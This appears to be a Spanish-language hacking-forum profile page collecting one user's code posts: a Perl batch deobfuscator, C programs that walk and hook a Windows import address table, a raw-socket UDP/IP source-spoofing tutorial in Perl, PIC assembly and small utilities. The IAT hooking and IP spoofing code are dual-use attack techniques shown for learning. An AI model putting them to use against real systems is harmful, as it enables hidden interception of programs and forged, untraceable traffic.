Aqui traigo un codigo en Perl que sirve para desofuscar Batchs, con los que he probado funciona bien. Si da errores reportadlo y veo como arreglarlo ;).

El codigo.

Código: perl

#!/usr/bin/perl

my %vars;
my @newcode="";

open(FILE, "<$ARGV[0]");
@codigo=<FILE>;
close(FILE);

foreach $linea(@codigo)
{
if($linea=~/set (.+)="(.+)"/)
{
$vars{$1}=$2;
}
$linea=~s/%(\w+):~(\d+),(\d+)%/substr($vars{$1},$2-1,$3)/eg;
push(@newcode,$linea);
}
print @newcode;


Sa1uDoS
#12
Es normal que al darle a Citar en los post me aparezca un cartel de "Cargando..." y jamás termine de cargar? Uso Chromium pero me pasa también en Firefox bajo ArchLinux.

Solo quiero saber si le pasa a alguien mas, si es un fallo del foro y, en ese caso, si tienen pensado arreglarlo ;).

Sa1uDoS
#13
Códigos Fuentes / [C] Explorando la IT
Mayo 14, 2013, 02:40:21 AM
Pues traigo un programa que busca X funcion en X libreria en su propia Import Table. No hay mucha explicacion. Esta bastante chapucero solo queria que pudieran ver un codigo sencillo que haga esto.

Código: c
#include <string.h>
#include <stdio.h>
#include <windows.h>

int main()
{
        const char libreria[]="KERNEL32.dll";
        const char funcion[]="ExitProcess";
        DWORD image_base=(DWORD)GetModuleHandleA(0);
        PIMAGE_DOS_HEADER DOS;
        PIMAGE_NT_HEADERS NT;
        PIMAGE_IMPORT_DESCRIPTOR IT;
        PIMAGE_IMPORT_BY_NAME *IMPORTED_FUNCTIONS;
        PIMAGE_THUNK_DATA Funcion;
        DWORD *IMPORTED_DLL_NAME;
        DWORD *IMPORTED_FUNCTION_NAME;
        unsigned int i=0;
       
        DOS=(PIMAGE_DOS_HEADER)image_base;
        NT=(PIMAGE_NT_HEADERS)(DOS->e_lfanew + image_base);
        IT=(PIMAGE_IMPORT_DESCRIPTOR)(NT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + image_base);
        IMPORTED_DLL_NAME=(DWORD *)(IT->Name + image_base);
       
        while( (IT->Name) != 0 )
        {
                IMPORTED_DLL_NAME=(DWORD *)(IT->Name + image_base);
                if(!strcmp((char *)IMPORTED_DLL_NAME, libreria))
                {
                        printf("%s\n", (char *)IMPORTED_DLL_NAME);
                        break;
                }
                IT++;
        }
       
        IMPORTED_FUNCTIONS=(PIMAGE_IMPORT_BY_NAME *)(IT->Characteristics + image_base);
       
        for(i=0;;i++)
        {
                IMPORTED_FUNCTION_NAME=(DWORD *)((*IMPORTED_FUNCTIONS)->Name + image_base);
                if(((*IMPORTED_FUNCTIONS)!=0) && (!strcmp((char *)IMPORTED_FUNCTION_NAME, funcion)))
                {
                        printf("\t%s\n", (char *)IMPORTED_FUNCTION_NAME);
                        break;
                }
                IMPORTED_FUNCTIONS++;
        }
       
        Funcion=(PIMAGE_THUNK_DATA)(IT->FirstThunk + image_base);
        Funcion+=i;
        printf("\t\tDireccion funcion: %p \t Addr en IT: %p\n", *Funcion, Funcion);
        getchar();
        return 0;
}


Sa1uDoS
#14
Códigos Fuentes / [C] Funcion Split
Mayo 14, 2013, 02:39:36 AM
Yo no he visto fallos, si los encontrais, comentadlos por favor. No tiene control de errores, lo hice para dar una idea ;).

Código: c
#include <stdio.h>
#include <malloc.h>
#include <string.h>

int len_palabra(char *cadena, int inicio, char separador);
char **split(char *cadena, char separador);

int main()
{
char cadena[]="MrBlood.split.crea.funcion";
int i;
char **retorno=split(cadena, '.');
for(i=0;retorno[i]!=NULL;i++)
{
printf("%s\n", retorno[i]);
free(retorno[i]);
}
free(retorno);
return 0;
}

int len_palabra(char *cadena, int inicio, char separador)
{
int len=0, i=inicio;
while(cadena[i]!=separador&&cadena[i]!='\0')
{
len++;
i++;
}
return len;
}

char **split(char *cadena, char separador)
{
int num_palabras=1, len_cadena=strlen(cadena), i, j=1, *inicios;
for(i=0;i<len_cadena;i++)
{
if(cadena[i]==separador)
{
num_palabras++;
}
}
inicios=malloc(sizeof(int)*num_palabras);
inicios[0]=0;
for(i=1;i<len_cadena;i++)
{
if(cadena[i]==separador)
{
inicios[j]=i+1;
j++;
}
}
char **retorno=malloc(sizeof(char *)*num_palabras+1);
retorno[num_palabras]=NULL;
for(i=0;i<num_palabras;i++)
{
j=len_palabra(cadena, inicios[i], separador);
retorno[i]=(char *)malloc(sizeof(char)*j);
strncpy(retorno[i], &cadena[inicios[i]], j);
retorno[i][j]='\0';
}
free(inicios);
return retorno;
}


Sa1uDoS
#15
Por si a alguien le ayuda. Es mejorable, no tiene ningun control de errores era solo para mostrar la idea ;).

No pierdo mas tiempo, el code.

hookiat.c
Código: c
#include "hookiat.h"

void HookIAT(char *tohooklibrary, char *tohookfunc, void *newfunc)
{
DWORD image_base=GetModuleHandleA(0);
PIMAGE_DOS_HEADER DOS;
PIMAGE_NT_HEADERS NT;
PIMAGE_IMPORT_DESCRIPTOR IT;
PIMAGE_IMPORT_BY_NAME *IMPORTED_FUNCTIONS;
PIMAGE_THUNK_DATA Funcion;
DWORD *IMPORTED_DLL_NAME;
DWORD *IMPORTED_FUNCTION_NAME;
unsigned int i=0;

DOS=(PIMAGE_DOS_HEADER)image_base;
NT=(PIMAGE_NT_HEADERS)(DOS->e_lfanew + image_base);
IT=(PIMAGE_IMPORT_DESCRIPTOR)(NT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + image_base);
IMPORTED_DLL_NAME=(DWORD *)(IT->Name + image_base);

while( (IT->Name) != 0 )
{
IMPORTED_DLL_NAME=(DWORD *)(IT->Name + image_base);
if(!strcmp((char *)IMPORTED_DLL_NAME, tohooklibrary))
{
break;
}
IT++;
}

IMPORTED_FUNCTIONS=(PIMAGE_IMPORT_BY_NAME *)(IT->Characteristics + image_base);

for(i=0;;i++)
{
IMPORTED_FUNCTION_NAME=(DWORD *)((*IMPORTED_FUNCTIONS)->Name + image_base);
if(((*IMPORTED_FUNCTIONS)!=0) && (!strcmp((char *)IMPORTED_FUNCTION_NAME, tohookfunc)))
{
break;
}
IMPORTED_FUNCTIONS++;
}

Funcion=(PIMAGE_THUNK_DATA)(IT->FirstThunk + image_base);
Funcion+=i;
ORIGINAL_FUNCTION=(void *)Funcion->u1.Function;
Funcion->u1.Function=(DWORD)newfunc;
}


hookiat.h
Código: c
#include <string.h>
#include <windows.h>

void *ORIGINAL_FUNCTION;

void HookIAT(char *tohooklibrary, char *tohookfunc, void *newfunc);


Espero que a alguien le sirva. No hagais muchas maldades con el :P.

Sa1uDoS
#16
Hacking / [TUTO] UDP/IP Spoofing con PERL
Mayo 13, 2013, 07:41:46 PM
De mr.blood para No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Hoy tratamos el tema de IP Spoofing sobre el protocolo UDP, pues es mas facil (no tiene comprobaciones) y el concepto es el mismo.

Primero, que es Spoofear una IP:
Es enviar datos con una IP falsa. Problemas que plantea, no recibiremos la respuesta del servidor, por lo que no es valido para mantener una comunicacion, solo nos puede servir para enviar un paquete "anonimo".
Montaremos un pequeño servidor en Perl que solo nos muestre la IP y los datos.

Codigo servidor.
Código: perl
#!/usr/bin/perl

use IO::Socket::INET;

my ($socket, $datos);
$socket = new IO::Socket::INET(LocalPort=>5000, Proto=>"udp");
while(1)
{
        $socket->recv($datos, 1024);
        print $socket->peerhost()." $datos";
}
$socket->close();


Bien, lo que tenemos que hacer para Spoofear una IP es crear la cabecera IP (y la UDP) cambiando el campo que contiene nuestra IP por la que queramos. Es facil de entender pero programar el cliente me rompio la cabeza
Como no queremos liarnos mas de lo necesario dejamos los checksum a 0.

Codigo cliente.
Código: perl
#!/usr/bin/perl
use Socket;
use strict;

#~ Datos
my $data        =       "Hi!\n";
#~ UDP Header
my %udp         =       (sport=>(rand(3000)+5001), dport=>5000, len=>8+length($data), checksum=>0);
#~ IP Header
my %ip          =       (version=>4, IHL=>"45", ToS=>0, TL=>0, ID=>rand(20000), flags=>"010", FO=>"0"x13, TTL=>64,
                                Proto=>17, checksum=>0, saddr=>(gethostbyname("111.111.111.111"))[4],
                                daddr=>(gethostbyname("127.0.0.1"))[4]);

#~ Esto es cosa del protocolo IP, los flags y FO van "juntos"
my $ip_flags_FO=$ip{flags}.$ip{FO};

#~ Preparamos el paquete
my $paquete=pack("H2H2nnB16C2na4a4", $ip{IHL}, $ip{ToS}, $ip{TL}, $ip{ID},
                        $ip_flags_FO, $ip{TTL}, $ip{Proto},
                        $ip{checksum}, $ip{saddr},      $ip{daddr}).pack("nnnn",$udp{sport},
                        $udp{dport}, $udp{len}, $udp{checksum}).pack("a*", $data);

#~ Creamos el descriptor en SOCK del tipo SOCK_RAW
socket(SOCK, AF_INET, SOCK_RAW, 255);
#~ Para que la funcion send sepa donde enviarlo
my $destino = pack('Sna4x8', AF_INET, $udp{dport}, $ip{daddr});
send(SOCK,$paquete,0,$destino);


Fuentes:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Me apoye para los pack)
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Me apoye para los pack tambien)
Propia (Horas mirando con Wireshark)
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#17
Perl / Creando paquetes UDP
Mayo 13, 2013, 07:39:40 PM
De mr.blood para No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como no queremos liarnos mas de lo necesario dejamos los checksum a 0.

Codigo cliente.

Código: perl
#!/usr/bin/perl
use Socket;
use strict;

#~ Datos
my $data        =       "Hi!\n";
#~ UDP Header
my %udp         =       (sport=>(rand(3000)+5001), dport=>5000, len=>8+length($data), checksum=>0);
#~ IP Header
my %ip          =       (version=>4, IHL=>"45", ToS=>0, TL=>0, ID=>rand(20000), flags=>"010", FO=>"0"x13, TTL=>64,
                                Proto=>17, checksum=>0, saddr=>(gethostbyname("111.111.111.111"))[4],
                                daddr=>(gethostbyname("127.0.0.1"))[4]);

#~ Esto es cosa del protocolo IP, los flags y FO van "juntos"
my $ip_flags_FO=$ip{flags}.$ip{FO};

#~ Preparamos el paquete
my $paquete=pack("H2H2nnB16C2na4a4", $ip{IHL}, $ip{ToS}, $ip{TL}, $ip{ID},
                        $ip_flags_FO, $ip{TTL}, $ip{Proto},
                        $ip{checksum}, $ip{saddr},      $ip{daddr}).pack("nnnn",$udp{sport},
                        $udp{dport}, $udp{len}, $udp{checksum}).pack("a*", $data);

#~ Creamos el descriptor en SOCK del tipo SOCK_RAW
socket(SOCK, AF_INET, SOCK_RAW, 255);
#~ Para que la funcion send sepa donde enviarlo
my $destino = pack('Sna4x8', AF_INET, $udp{dport}, $ip{daddr});
send(SOCK,$paquete,0,$destino);


Fuentes:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Me apoye para los pack)
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Me apoye para los pack tambien)
Propia (Horas mirando con Wireshark)
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Sa1uDoS

P.D.: Como vereis por las fuentes los pack no son lo mio xD.
#18
Electrónica y Robótica / [ASM] Programando un PIC
Mayo 13, 2013, 07:36:57 PM
Empecemos aportando algo, creo que vine para quedarme :P.

Dejo el programa comentado.

Código: asm
STATUS    equ       03h ;Definiciones, para no manejar
TRISA     equ       85h ;direcciones todo el rato.
TRISB     equ       86h
PORTA     equ       05h
PORTB     equ       06h
CONTADOR  equ       08h
   
    org 0x0
          bsf       STATUS,5 ;Cambiamos al banco 1
          movlw     0x0 ;Movemos a W 0
          movwf     TRISA ;Todos los puertos A son de salida
          movlw     0x1 ;Movemos a W 1
          movwf     TRISB ;Todos los puertos B son de salida, menos RB0
          bcf       STATUS,5 ;Volvemos al banco 0

Inicio    BTFSS     PORTB,0 ;Comprueba si RB0 es 1, si lo es SALTA LA SIGUIENTE INSTRUCCION
          bcf       PORTA,1 ;Envia 0 por la patilla RA1
          BTFSC     PORTB,0 ;Comprueba si RB0 es 0, si lo es SALTA LA SIGUIENTE INSTRUCCION
          call      Parpadeo ;Llama a Parpadeo
          goto      Inicio ;El bucle se repite

Parpadeo  call Duerme ;Llama a Duerme para hacer una pausa
          bsf       PORTA,1 ;Envia 1 por la patilla RA1
          call Duerme ;Llama a Duerme para hacer una pausa
          bcf       PORTA,1 ;Envia 0 por la patilla RA1
          call Duerme
          return

Duerme    movlw 0x90 ;Mueve a W 0x90
          movwf CONTADOR ;Mueve W a CONTADOR (CONTADOR(08h)=0x90)
Bucle     decfsz CONTADOR,1 ;Decrementa CONTADOR, y si es 0 SALTA LA SIGUIENTE INSTRUCCION
          goto Bucle ;Vuelve a empezar el bucle
          return ;Return
    end ;Fin del programa


Este seria el montaje, dejo la imagen de Proteus, por si a alguien mas le interesa esto ;).


Comento un poco el funcionamiento: Si el boton esta cerrado, el LED parpadea. Si el boton esta abierto, el LED se mantiene apagado.

Sa1uDoS
#19
Perl / Funcion baja imagenes
Mayo 06, 2011, 01:29:46 PM
Bueno, creo que este es mi 2º post aqui, ojala haya muchos mas ;).

Bien, he venido para traerles una funcion para bajar y guardar una imagen.

Código: perl
sub down_image
{
my $host=$_[0];
my $dir=$_[1];
my $dest=$_[2];
use IO::Socket::INET;
my $sock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp");
print $sock "GET $dir HTTP/1.0\r\nHOST:$host\r\n\r\n";
my $convert=0;
my @rec=<$sock>;
open(file,">$dest");
foreach $rec(@rec)
{
if($convert==1)
{
print file $rec;
}
if($rec eq "\r\n")
{
$convert=1;
}
}
close(file);
}


Ejemplo de uso:

Código: perl
#!/usr/bin/perl

down_image("www.hackxcrack.es", "/forum/Themes/citiez_20rc5/images/custom/header.jpg", "foto.jpg");
sub down_image
{
my $host=$_[0];
my $dir=$_[1];
my $dest=$_[2];
use IO::Socket::INET;
my $sock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp");
print $sock "GET $dir HTTP/1.0\r\nHOST:$host\r\n\r\n";
my $convert=0;
my @rec=<$sock>;
open(file,">$dest");
foreach $rec(@rec)
{
if($convert==1)
{
print file $rec;
}
if($rec eq "\r\n")
{
$convert=1;
}
}
close(file);
}


Sa1uDoS